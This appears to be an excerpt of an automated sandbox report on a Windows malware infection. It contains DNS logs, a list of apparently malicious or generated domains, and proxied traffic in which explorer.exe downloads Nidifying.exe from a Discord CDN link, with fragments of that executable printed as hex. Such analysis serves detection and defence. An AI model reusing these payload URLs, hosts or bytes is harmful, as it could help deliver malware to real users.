Jan 14, 2022 01:51:38.824302912 CET	8.8.8.8	192.168.2.3	0xc539	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:39.054157019 CET	8.8.8.8	192.168.2.3	0x3dfa	No error (0)	a0621298.xsph.ru		141.8.194.74	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:41.118388891 CET	8.8.8.8	192.168.2.3	0x3e73	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:41.514084101 CET	8.8.8.8	192.168.2.3	0x88eb	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:41.679867983 CET	8.8.8.8	192.168.2.3	0xb113	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:41.937021971 CET	8.8.8.8	192.168.2.3	0x24f3	No error (0)	transfer.sh		144.76.136.153	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:42.236622095 CET	8.8.8.8	192.168.2.3	0x4c2f	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:42.348671913 CET	8.8.8.8	192.168.2.3	0x6bbf	No error (0)	a0621298.xsph.ru		141.8.194.74	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:42.424601078 CET	8.8.8.8	192.168.2.3	0xd9ec	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:42.624855995 CET	8.8.8.8	192.168.2.3	0x5550	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:42.789338112 CET	8.8.8.8	192.168.2.3	0x46a	No error (0)	transfer.sh		144.76.136.153	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:43.973978996 CET	8.8.8.8	192.168.2.3	0xac36	No error (0)	a0621298.xsph.ru		141.8.194.74	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:44.776907921 CET	8.8.8.8	192.168.2.3	0x58d9	No error (0)	a0621298.xsph.ru		141.8.194.74	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:45.671865940 CET	8.8.8.8	192.168.2.3	0x577c	No error (0)	a0621298.xsph.ru		141.8.194.74	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:46.902951956 CET	8.8.8.8	192.168.2.3	0x5298	No error (0)	a0621298.xsph.ru		141.8.194.74	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:47.582515001 CET	8.8.8.8	192.168.2.3	0x58a4	No error (0)	cdn.discordapp.com		162.159.135.233	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:47.582515001 CET	8.8.8.8	192.168.2.3	0x58a4	No error (0)	cdn.discordapp.com		162.159.134.233	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:47.582515001 CET	8.8.8.8	192.168.2.3	0x58a4	No error (0)	cdn.discordapp.com		162.159.130.233	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:47.582515001 CET	8.8.8.8	192.168.2.3	0x58a4	No error (0)	cdn.discordapp.com		162.159.133.233	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:47.582515001 CET	8.8.8.8	192.168.2.3	0x58a4	No error (0)	cdn.discordapp.com		162.159.129.233	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:47.588129997 CET	8.8.8.8	192.168.2.3	0xd7d8	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:47.906274080 CET	8.8.8.8	192.168.2.3	0xc9c	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:48.148843050 CET	8.8.8.8	192.168.2.3	0x744c	No error (0)	data-host-coin-8.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:50.505548000 CET	8.8.8.8	192.168.2.3	0xe11c	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:50.905011892 CET	8.8.8.8	192.168.2.3	0xe050	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:51.492192984 CET	8.8.8.8	192.168.2.3	0xca00	No error (0)	data-host-coin-8.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:56.021934986 CET	8.8.8.8	192.168.2.3	0xd73b	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:56.667923927 CET	8.8.8.8	192.168.2.3	0xaa2d	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:56.943756104 CET	8.8.8.8	192.168.2.3	0x9fa8	No error (0)	cdn.discordapp.com		162.159.134.233	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:56.943756104 CET	8.8.8.8	192.168.2.3	0x9fa8	No error (0)	cdn.discordapp.com		162.159.130.233	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:56.943756104 CET	8.8.8.8	192.168.2.3	0x9fa8	No error (0)	cdn.discordapp.com		162.159.129.233	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:56.943756104 CET	8.8.8.8	192.168.2.3	0x9fa8	No error (0)	cdn.discordapp.com		162.159.133.233	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:56.943756104 CET	8.8.8.8	192.168.2.3	0x9fa8	No error (0)	cdn.discordapp.com		162.159.135.233	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:58.942805052 CET	8.8.8.8	192.168.2.3	0xa99b	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 01:51:59.112200975 CET	8.8.8.8	192.168.2.3	0xff3	No error (0)	host-data-coin-11.com		93.189.42.167	A (IP address)	IN (0x0001)
Jan 14, 2022 01:52:05.095175028 CET	8.8.8.8	192.168.2.3	0xb289	No error (0)	a0621298.xsph.ru		141.8.194.74	A (IP address)	IN (0x0001)
Jan 14, 2022 01:52:06.326214075 CET	8.8.8.8	192.168.2.3	0xcc10	No error (0)	a0621298.xsph.ru		141.8.194.74	A (IP address)	IN (0x0001)
Jan 14, 2022 01:52:07.474519968 CET	8.8.8.8	192.168.2.3	0x6b26	No error (0)	cdn.discordapp.com		162.159.129.233	A (IP address)	IN (0x0001)
Jan 14, 2022 01:52:07.474519968 CET	8.8.8.8	192.168.2.3	0x6b26	No error (0)	cdn.discordapp.com		162.159.135.233	A (IP address)	IN (0x0001)
Jan 14, 2022 01:52:07.474519968 CET	8.8.8.8	192.168.2.3	0x6b26	No error (0)	cdn.discordapp.com		162.159.130.233	A (IP address)	IN (0x0001)
Jan 14, 2022 01:52:07.474519968 CET	8.8.8.8	192.168.2.3	0x6b26	No error (0)	cdn.discordapp.com		162.159.133.233	A (IP address)	IN (0x0001)
Jan 14, 2022 01:52:07.474519968 CET	8.8.8.8	192.168.2.3	0x6b26	No error (0)	cdn.discordapp.com		162.159.134.233	A (IP address)	IN (0x0001)
Jan 14, 2022 01:52:08.374344110 CET	8.8.8.8	192.168.2.3	0x286f	No error (0)	a0621298.xsph.ru		141.8.194.74	A (IP address)	IN (0x0001)
Jan 14, 2022 01:52:15.908246994 CET	8.8.8.8	192.168.2.3	0xc086	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)
Jan 14, 2022 01:52:15.908246994 CET	8.8.8.8	192.168.2.3	0xc086	No error (0)	googlehosted.l.googleusercontent.com		142.250.181.225	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

185.233.81.115

cdn.discordapp.com

goo.su

eluhjvhtyp.com

host-data-coin-11.com

emuxpqdnbf.net

ljorrgjfkl.net

ivghosxexw.com

fmqxhknv.org

eaqhepjim.net

ckcxxwya.com

gsvtvxnu.com

data-host-coin-8.com

rqnivwkry.org

beyalftqp.net

iwnegpbc.net

kpalcq.net

privacy-tools-for-you-780.com

pmwvdog.com

wxuhgeswun.net

unicupload.top

tlniveqsge.org

skpuexjuhm.org

qfxkjjoxmn.org

tbhdksrnso.org

mgvia.net

nvvghfdc.com

eovdrp.org

vjhru.org

185.7.214.171:8080

lidqffqfi.org

kywghhu.org

pnyggup.com

envvqxpmtj.com

gvultmec.com

gueanmbmxp.com

kblhoeewl.com

cxgoyk.org

cwnqgc.net

ugtdnlexs.net

uhdnsklbxa.net

xywmfjcv.net

phflbicrwd.com

ebgaalpj.net

iewbu.net

lqwlpf.org

mwskm.net

traxsklv.com

lebeioslha.org

iwptsq.net

lgmulqehv.net

jaepennocf.com

tkmasfsi.org

wsmgiadq.net

kudkrgpoim.org

qlrpsfchxq.net

rlhiwgul.net

ysiplhkpp.com

a0621298.xsph.ru

rrimog.org

bdihoknx.net

hstuxka.org

gvqkhfgim.org

ljjgvvpa.com

mfysq.net

kxfqwkwbr.net

mdlxr.org

palbvctgn.com

rpnmjvw.com

olcib.org

mnnuv.org

mxfehsxdf.com

jjxayxhjr.org

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49727	185.233.81.115	443	C:\Windows\explorer.exe

Timestamp	Direction	Data
2022-01-14 00:50:54 UTC	OUT	GET /32739433.dat?iddqd=1 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: 185.233.81.115
2022-01-14 00:50:54 UTC	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 14 Jan 2022 00:50:54 GMT Content-Type: text/html Content-Length: 153 Connection: close
2022-01-14 00:50:54 UTC	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.20.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49778	162.159.134.233	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
2022-01-14 00:51:05 UTC	0	OUT	GET /attachments/903666793514672200/930134152861343815/Nidifying.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: cdn.discordapp.com
2022-01-14 00:51:05 UTC	0	IN	HTTP/1.1 200 OK Date: Fri, 14 Jan 2022 00:51:05 GMT Content-Type: application/x-msdos-program Content-Length: 537088 Connection: close CF-Ray: 6cd2dfb78e015caa-FRA Accept-Ranges: bytes Age: 289509 Cache-Control: public, max-age=31536000 Content-Disposition: attachment;%20filename=Nidifying.exe ETag: "d7df01d8158bfaddc8ba48390e52f355" Expires: Sat, 14 Jan 2023 00:51:05 GMT Last-Modified: Mon, 10 Jan 2022 16:21:03 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" x-goog-generation: 1641831663140006 x-goog-hash: crc32c=9zjujw== x-goog-hash: md5=198B2BWL+t3Iukg5DlLzVQ== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 537088 X-GUploader-UploadID: ADPycdtAUXQOPbnIyWc7HwHE6Jjoo94_slb40xzLLQFjYJIeziMw89M1kSl2_68qrqD8x5Zob-f_ZoOlPr3MafIQeS5oJXYR_w X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
2022-01-14 00:51:05 UTC	1	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 33 3f 73 3d 6c 53 52 5a 4f 59 46 78 6a 39 42 44 6f 64 61 4b 4b 32 52 4d 53 51 63 70 43 77 58 70 34 77 4c 30 41 7a 63 50 6b 34 78 34 74 35 51 65 62 74 4f 6a 6f 55 63 31 6e 37 73 45 70 6d 65 47 37 58 70 68 41 49 34 68 63 61 78 37 78 48 46 44 62 41 55 6f 52 33 70 35 4d 39 37 6e 77 61 4c 4c 41 4b 7a 48 57 56 4d 42 6a 62 51 25 32 46 69 78 49 55 36 6c 59 6e 4b 76 32 56 44 76 78 6c 48 39 59 36 34 76 5a 6f 66 72 34 37 6d 41 25 33 44 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=lSRZOYFxj9BDodaKK2RMSQcpCwXp4wL0AzcPk4x4t5QebtOjoUc1n7sEpmeG7XphAI4hcax7xHFDbAUoR3p5M97nwaLLAKzHWVMBjbQ%2FixIU6lYnKv2VDvxlH9Y64vZofr47mA%3D%3D"}],"group":"cf-nel","max_age":6048
2022-01-14 00:51:05 UTC	2	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 3f 79 2a a2 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 30 00 00 2a 08 00 00 06 00 00 00 00 00 00 ae 49 08 00 00 20 00 00 00 60 08 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 a0 08 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL?y0I `@ @
2022-01-14 00:51:05 UTC	3	IN	Data Raw: 00 00 14 2a 00 00 00 1a 28 a9 00 00 06 2a 00 92 28 a9 00 00 06 38 10 00 00 00 72 c2 0c 00 70 80 19 00 00 04 38 00 00 00 00 2a 28 5e 01 00 06 38 e6 ff ff ff 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 12 00 00 00 2a 00 00 00 13 30 0e 00 04 00 00 00 00 00 00 00 00 00 17 2a 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 Data Ascii: ((8rp8(^8*****((0(((((((((((
2022-01-14 00:51:05 UTC	4	IN	Data Raw: 1f 11 1f 0b 06 28 92 00 00 06 12 04 11 05 11 06 09 1f 0b 1f 16 1f 0c 06 28 92 00 00 06 12 03 11 04 11 05 11 06 1f 0c 1d 1f 0d 06 28 92 00 00 06 12 06 09 11 04 11 05 1f 0d 1f 0c 1f 0e 06 28 92 00 00 06 12 05 11 06 09 11 04 1f 0e 1f 11 1f 0f 06 28 92 00 00 06 12 04 11 05 11 06 09 1f 0f 1f 16 1f 10 06 28 92 00 00 06 12 03 11 04 11 05 11 06 17 1b 1f 11 06 28 93 00 00 06 12 06 09 11 04 11 05 1c 1f 09 1f 12 06 28 93 00 00 06 12 05 11 06 09 11 04 1f 0b 1f 0e 1f 13 06 28 93 00 00 06 12 04 11 05 11 06 09 16 1f 14 1f 14 06 28 93 00 00 06 12 03 11 04 11 05 11 06 1b 1b 1f 15 06 28 93 00 00 06 12 06 09 11 04 11 05 1f 0a 1f 09 1f 16 06 28 93 00 00 06 12 05 11 06 09 11 04 1f 0f 1f 0e 1f 17 06 28 93 00 00 06 12 04 11 05 11 06 09 1a 1f 14 1f 18 06 28 93 00 00 06 12 03 11 Data Ascii: ((((((((((((((
2022-01-14 00:51:05 UTC	6	IN	Data Raw: 01 0c 03 8e 69 1a 5b 0d 16 13 04 16 13 05 16 13 06 06 16 3e 04 00 00 00 07 17 58 0b 16 13 07 16 13 08 38 77 01 00 00 11 08 09 5d 13 09 11 08 1a 5a 13 0a 11 09 1a 5a 13 07 03 11 07 19 58 91 1f 18 62 03 11 07 18 58 91 1f 10 62 60 03 11 07 17 58 91 1e 62 60 03 11 07 91 60 13 05 20 ff 00 00 00 13 0b 16 13 0c 11 08 07 17 59 40 49 00 00 00 06 16 3e 42 00 00 00 16 13 06 11 04 11 05 58 13 04 16 13 0d 38 23 00 00 00 11 0d 16 3e 06 00 00 00 11 06 1e 62 13 06 11 06 05 05 8e 69 17 11 0d 58 59 91 60 13 06 11 0d 17 58 13 0d 11 0d 06 3f d5 ff ff ff 38 2e 00 00 00 11 04 11 05 58 13 04 11 0a 13 07 05 11 07 19 58 91 1f 18 62 05 11 07 18 58 91 1f 10 62 60 05 11 07 17 58 91 1e 62 60 05 11 07 91 60 13 06 11 04 16 13 04 25 28 a1 00 00 06 58 13 04 11 08 07 17 59 40 50 00 00 00 Data Ascii: i[>X8w]ZZXbXb`Xb`` Y@I>BX8#>biXY`X?8.XXbXb`Xb``%(XY@P
2022-01-14 00:51:05 UTC	7	IN	Data Raw: fe 0e 26 00 20 76 c2 00 00 fe 0c 26 00 5a fe 0c 27 00 59 fe 0e 26 00 fe 0c 26 00 fe 0c 26 00 fe 0c 26 00 59 61 fe 0e 2b 00 fe 0c 28 00 fe 0c 28 00 1f 19 62 61 fe 0e 28 00 fe 0c 28 00 fe 0c 29 00 58 fe 0e 28 00 fe 0c 28 00 fe 0c 28 00 1d 62 61 fe 0e 28 00 fe 0c 28 00 fe 0c 2a 00 58 fe 0e 28 00 fe 0c 28 00 fe 0c 28 00 1f 0d 64 61 fe 0e 28 00 fe 0c 28 00 fe 0c 2b 00 58 fe 0e 28 00 fe 0c 29 00 1b 62 fe 0c 29 00 58 fe 0c 29 00 61 fe 0c 28 00 58 fe 0e 28 00 fe 0c 28 00 76 6c 6d 58 13 09 11 0e 11 07 17 59 40 53 00 00 00 11 06 16 3e 4b 00 00 00 11 09 11 0a 61 13 13 16 13 14 38 2e 00 00 00 11 14 16 3e 0c 00 00 00 11 10 1e 62 13 10 11 11 1e 58 13 11 11 08 11 0f 11 14 58 11 13 11 10 5f 11 11 1f 1f 5f 64 d2 9c 11 14 17 58 13 14 11 14 11 06 3f c9 ff ff ff 38 4d 00 00 Data Ascii: & v&Z'Y&&&&Ya+((ba(()X(((ba((*X(((da((+X()b)X)a(X((vlmXY@S>Ka8.>bXX__dX?8M
2022-01-14 00:51:05 UTC	8	IN	Data Raw: 04 10 04 0e 05 09 7b 72 00 00 04 8e 69 54 0e 04 09 7b 72 00 00 04 8e 69 1f 40 7f 51 00 00 04 28 b0 00 00 06 26 16 2a 06 28 65 00 00 0a 18 5a 11 04 28 6b 00 00 0a 06 28 65 00 00 0a 19 5a 09 7b 72 00 00 04 8e 69 28 6c 00 00 0a 16 13 05 05 20 7d 1d ea 0c 40 0a 00 00 00 7e 6d 00 00 04 39 19 00 00 00 7e 5c 00 00 04 02 03 04 05 0e 04 0e 05 6f 30 01 00 06 13 05 38 06 00 00 00 17 80 6d 00 00 04 11 05 2a 7e 5c 00 00 04 02 03 04 05 0e 04 0e 05 6f 30 01 00 06 2a 00 00 00 0a 1b 2a 00 1b 30 02 00 12 00 00 00 00 00 00 00 17 28 2a 00 00 0a dd 06 00 00 00 26 dd 00 00 00 00 2a 00 00 01 10 00 00 00 00 00 00 0b 0b 00 06 0a 00 00 01 13 30 07 00 53 00 00 00 00 00 00 00 d0 51 00 00 01 28 23 00 00 0a 72 9d 0e 00 70 18 8d 24 00 00 01 25 16 d0 13 00 00 01 28 23 00 00 0a a2 25 17 Data Ascii: {riT{ri@Q(&(eZ(k(eZ{ri(l }@~m9~\o08m~\o0*0(&*0SQ(#rp$%(#%
2022-01-14 00:51:05 UTC	10	IN	Data Raw: 00 08 22 00 00 73 55 00 00 16 37 00 00 07 47 00 00 05 2e 00 00 4f 0b 00 00 28 0a 00 00 94 37 00 00 4f 24 00 00 ff 58 00 00 7d 5a 00 00 c9 2f 00 00 8e 53 00 00 7d 51 00 00 23 15 00 00 39 4e 00 00 e8 22 00 00 bf 3d 00 00 02 4e 00 00 6e 5b 00 00 18 20 00 00 ca 3a 00 00 11 3d 00 00 75 19 00 00 af 57 00 00 fa 19 00 00 c4 0f 00 00 f1 37 00 00 73 57 00 00 f4 07 00 00 9b 0d 00 00 8c 06 00 00 03 4f 00 00 aa 44 00 00 c3 2d 00 00 8d 38 00 00 7a 0e 00 00 78 3f 00 00 66 53 00 00 10 12 00 00 9e 09 00 00 0f 58 00 00 87 49 00 00 75 05 00 00 bc 20 00 00 02 14 00 00 c0 3e 00 00 24 45 00 00 f1 15 00 00 6b 42 00 00 89 3e 00 00 b3 09 00 00 0a 24 00 00 6a 58 00 00 4e 30 00 00 ae 32 00 00 6d 16 00 00 ce 41 00 00 c3 48 00 00 c2 37 00 00 32 29 00 00 a2 54 00 00 e9 3a 00 00 2a 1c Data Ascii: "sU7G.O(7O$X}Z/S}Q#9N"=Nn[ :=uW7sWOD-8zx?fSXIu >$EkB>$jXN02mAH72)T:*
2022-01-14 00:51:05 UTC	11	IN	Data Raw: 64 47 00 00 4a 06 00 00 f6 06 00 00 6f 09 00 00 08 18 00 00 85 47 00 00 fb 24 00 00 ff 2c 00 00 7f 2c 00 00 30 4d 00 00 9f 31 00 00 c5 4b 00 00 cf 51 00 00 2f 4b 00 00 df 08 00 00 f7 11 00 00 8a 2b 00 00 ea 13 00 00 8f 4d 00 00 32 3b 00 00 0a 20 00 00 6c 0d 00 00 e7 57 00 00 46 13 00 00 ab 2e 00 00 da 31 00 00 87 5b 00 00 ff 15 00 00 a5 3e 00 00 0e 1f 00 00 31 3f 00 00 6d 59 00 00 7b 1a 00 00 e8 46 00 00 b9 2b 00 00 34 17 00 00 27 59 00 00 b4 36 00 00 cf 22 00 00 a0 1a 00 00 50 3f 00 00 05 51 00 00 de 58 00 00 d4 3b 00 00 13 2f 00 00 7f 28 00 00 e3 4c 00 00 8c 36 00 00 76 44 00 00 00 0c 00 00 69 43 00 00 31 21 00 00 9f 4c 00 00 08 5a 00 00 ab 13 00 00 44 51 00 00 d1 18 00 00 cf 57 00 00 49 1a 00 00 17 5b 00 00 74 17 00 00 e6 39 00 00 20 3c 00 00 c9 15 00 Data Ascii: dGJoG$,,0M1KQ/K+M2; lWF.1[>1?mY{F+4'Y6"P?QX;/(L6vDiC1!LZDQWI[t9 <
2022-01-14 00:51:05 UTC	12	IN	Data Raw: 13 4d 20 0f 00 00 00 38 a1 fc ff ff 11 65 28 d4 00 00 06 8d 16 00 00 01 16 28 d4 00 00 06 28 f7 00 00 06 20 0c 00 00 00 28 1f 01 00 06 39 7b fc ff ff 26 20 05 00 00 00 38 70 fc ff ff 38 fc fe ff ff 20 10 00 00 00 38 61 fc ff ff 28 d4 00 00 06 1a 40 73 fe ff ff 20 06 00 00 00 28 1e 01 00 06 3a 47 fc ff ff 26 20 03 00 00 00 38 3c fc ff ff 11 65 28 d4 00 00 06 8d 16 00 00 01 16 28 d4 00 00 06 28 f7 00 00 06 20 00 00 00 00 28 1f 01 00 06 3a 16 fc ff ff 26 20 00 00 00 00 38 0b fc ff ff dd 4d 3a 00 00 26 20 00 00 00 00 28 1f 01 00 06 3a 0f 00 00 00 26 20 00 00 00 00 38 04 00 00 00 fe 0c 30 00 45 01 00 00 00 05 00 00 00 38 00 00 00 00 dd 1b 3a 00 00 20 33 00 00 00 28 1f 01 00 06 3a 5a f0 ff ff 26 20 3b 02 00 00 38 4f f0 ff ff fe 0c 05 00 20 08 00 00 00 20 7e 00 Data Ascii: M 8e((( (9{& 8p8 8a(@s (:G& 8<e((( (:& 8M:& (:& 80E8: 3(:Z& ;8O ~
2022-01-14 00:51:05 UTC	14	IN	Data Raw: ff fe 0c 05 00 20 06 00 00 00 20 d1 00 00 00 20 45 00 00 00 59 9c 20 77 01 00 00 28 1e 01 00 06 39 c4 eb ff ff 26 20 7f 01 00 00 38 b9 eb ff ff 28 d4 00 00 06 1a 40 7c 4c 00 00 20 d7 01 00 00 38 a4 eb ff ff 11 23 11 54 61 13 03 20 c4 01 00 00 28 1e 01 00 06 3a 8e eb ff ff 26 20 b6 01 00 00 38 83 eb ff ff 20 e8 00 00 00 20 4d 00 00 00 59 fe 0e 40 00 20 92 00 00 00 38 6a eb ff ff fe 0c 0a 00 20 0c 00 00 00 fe 0c 0e 00 9c 20 ab 00 00 00 38 52 eb ff ff 11 5c 11 18 3f 98 3f 00 00 20 52 02 00 00 28 1f 01 00 06 39 3a eb ff ff 26 20 0c 02 00 00 38 2f eb ff ff fe 0c 0a 00 20 11 00 00 00 fe 0c 0e 00 9c 20 1b 01 00 00 38 17 eb ff ff 12 74 11 6f 7d 72 00 00 04 20 8b 00 00 00 38 04 eb ff ff fe 0c 0a 00 20 11 00 00 00 fe 0c 40 00 9c 20 15 02 00 00 38 ec ea ff ff 28 d4 Data Ascii: EY w(9& 8(@\|L 8#Ta (:& 8 MY@ 8j 8R\?? R(9:& 8/ 8to}r 8 @ 8(
2022-01-14 00:51:05 UTC	15	IN	Data Raw: 26 20 ef 01 00 00 38 85 e6 ff ff 12 19 28 70 00 00 0a 28 fe 00 00 06 13 07 20 3f 01 00 00 38 6d e6 ff ff 11 5c 17 58 13 5c 20 57 00 00 00 28 1f 01 00 06 3a 58 e6 ff ff 26 20 f6 00 00 00 38 4d e6 ff ff fe 0c 0a 00 20 13 00 00 00 fe 0c 0e 00 9c 20 13 01 00 00 28 1f 01 00 06 39 30 e6 ff ff 26 20 74 00 00 00 38 25 e6 ff ff 38 b1 13 00 00 20 4e 00 00 00 38 16 e6 ff ff 7e 66 00 00 04 28 ec 00 00 06 28 ed 00 00 06 13 58 20 63 00 00 00 fe 0e 51 00 38 f3 e5 ff ff fe 0c 05 00 20 05 00 00 00 fe 0c 1a 00 9c 20 4d 01 00 00 28 1e 01 00 06 39 da e5 ff ff 26 20 66 01 00 00 38 cf e5 ff ff 20 66 00 00 00 20 03 00 00 00 58 fe 0e 0e 00 20 c7 00 00 00 38 b6 e5 ff ff fe 0c 05 00 20 0f 00 00 00 20 65 00 00 00 20 65 00 00 00 58 9c 20 87 01 00 00 fe 0e 51 00 38 8f e5 ff ff 7f 52 Data Ascii: & 8(p( ?8m\X\ W(:X& 8M (90& t8%8 N8~f((X cQ8 M(9& f8 f X 8 e eX Q8R
2022-01-14 00:51:05 UTC	16	IN	Data Raw: 65 00 00 00 58 9c 20 83 01 00 00 28 1f 01 00 06 39 22 e1 ff ff 26 20 6b 01 00 00 38 17 e1 ff ff 38 c0 f5 ff ff 20 fa 01 00 00 38 08 e1 ff ff fe 0c 0a 00 20 1c 00 00 00 fe 0c 40 00 9c 20 3a 02 00 00 38 f0 e0 ff ff 20 a2 00 00 00 20 36 00 00 00 59 fe 0e 40 00 20 dc 01 00 00 fe 0e 51 00 38 cf e0 ff ff fe 0c 0a 00 20 02 00 00 00 fe 0c 0e 00 9c 20 35 00 00 00 28 1f 01 00 06 39 b6 e0 ff ff 26 20 02 00 00 00 38 ab e0 ff ff 20 d6 00 00 00 20 47 00 00 00 59 fe 0e 1a 00 20 41 01 00 00 38 92 e0 ff ff 11 75 11 20 17 58 11 07 17 91 9c 20 e4 01 00 00 38 7d e0 ff ff fe 0c 0a 00 20 17 00 00 00 fe 0c 40 00 9c 20 67 02 00 00 38 65 e0 ff ff 11 27 11 78 19 58 91 1f 18 62 11 27 11 78 18 58 91 1f 10 62 60 11 27 11 78 17 58 91 1e 62 60 11 27 11 78 91 60 13 00 20 4c 00 00 00 38 Data Ascii: eX (9"& k88 8 @ :8 6Y@ Q8 5(9& 8 GY A8u X 8} @ 